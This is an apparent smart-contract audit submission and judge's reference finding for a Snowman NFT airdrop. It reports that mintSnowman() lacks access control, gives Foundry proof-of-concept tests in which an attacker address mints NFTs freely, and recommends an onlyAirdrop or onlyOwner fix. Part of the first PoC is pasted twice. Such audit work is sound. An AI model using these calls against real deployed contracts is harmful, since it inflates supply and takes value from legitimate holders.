Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Public NFT minting lets anyone mint unlimited Snowmen

Snowman.sol (line 36) exposes mintSnowman(address,uint256) to everyone

Description

The function does not check whether msg.sender is the SnowmanAirdrop contract, the owner, or any approved minter. As a result, anyone can bypass the intended airdrop flow and mint Snowman NFTs directly, without holding or staking Snow, submitting a Merkle proof, or providing a valid signature.

This breaks the core invariant that Snowman NFTs should only be issued through the airdrop mechanism in exchange for eligible Snow token balances.

@Snowman.sol line 36
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood: High

The function is external and has no access control, so any user or bot can call it directly. No special permissions, proof, signature, token balance, or payment are required.

Impact: High

An attacker can mint an arbitrary number of Snowman NFTs for free. This can inflate the NFT supply, bypass the eligibility rules, dilute legitimate recipients, and destroy the integrity/value of the airdrop collection.


Proof of Concept

The PoC shows that an attacker can mint Snowman NFTs directly from the Snowman contract without using the intended airdrop flow.

In the test, an attacker address is created with no special permissions. The attacker does not own any Snow tokens, does not approve or stake tokens, does not provide a Merkle proof, and does not submit an EIP-712 signature.

Despite this, the attacker is able to call:

nft.mintSnowman(attacker, amountToMint);

Because mintSnowman() has no access control, the call succeeds and mints amountToMint NFTs directly to the attacker.

function testPoCAnyoneCanMintSnowmanWithoutAirdrop() public {
address attacker = makeAddr("attacker");
uint256 amountToMint = 10;
assertEq(nft.balanceOf(attacker), 0);
vm.prank(attacker);
nft.mintSnowman(attacker, amountToMint);
assertEq(nft.balanceOf(attacker), amountToMint);
assertEq(nft.ownerOf(0), attacker);
assertEq(nft.ownerOf(9), attacker);
assertEq(nft.getTokenCounter(), amountToMint);
}
assertEq(nft.balanceOf(attacker), 0);
vm.prank(attacker);
nft.mintSnowman(attacker, amountToMint);
assertEq(nft.balanceOf(attacker), amountToMint);
assertEq(nft.ownerOf(0), attacker);
assertEq(nft.ownerOf(9), attacker);
assertEq(nft.getTokenCounter(), amountToMint);
}

The assertions then confirm that:

  • the attacker’s NFT balance increased from 0 to 10

  • token IDs 0 and 9 are owned by the attacker

  • the total minted token counter increased to 10

This proves that anyone can bypass the SnowmanAirdrop contract entirely and mint arbitrary Snowman NFTs for free.



Recommended Mitigation

Restrict mintSnowman so only the authorized airdrop contract can call it.

Alternatively, use Ownable or AccessControl to manage a dedicated minter role.

+ address public immutable i_airdrop;
modifier onlyAirdrop() {
require(msg.sender == i_airdrop, "Not airdrop");
_;
}
function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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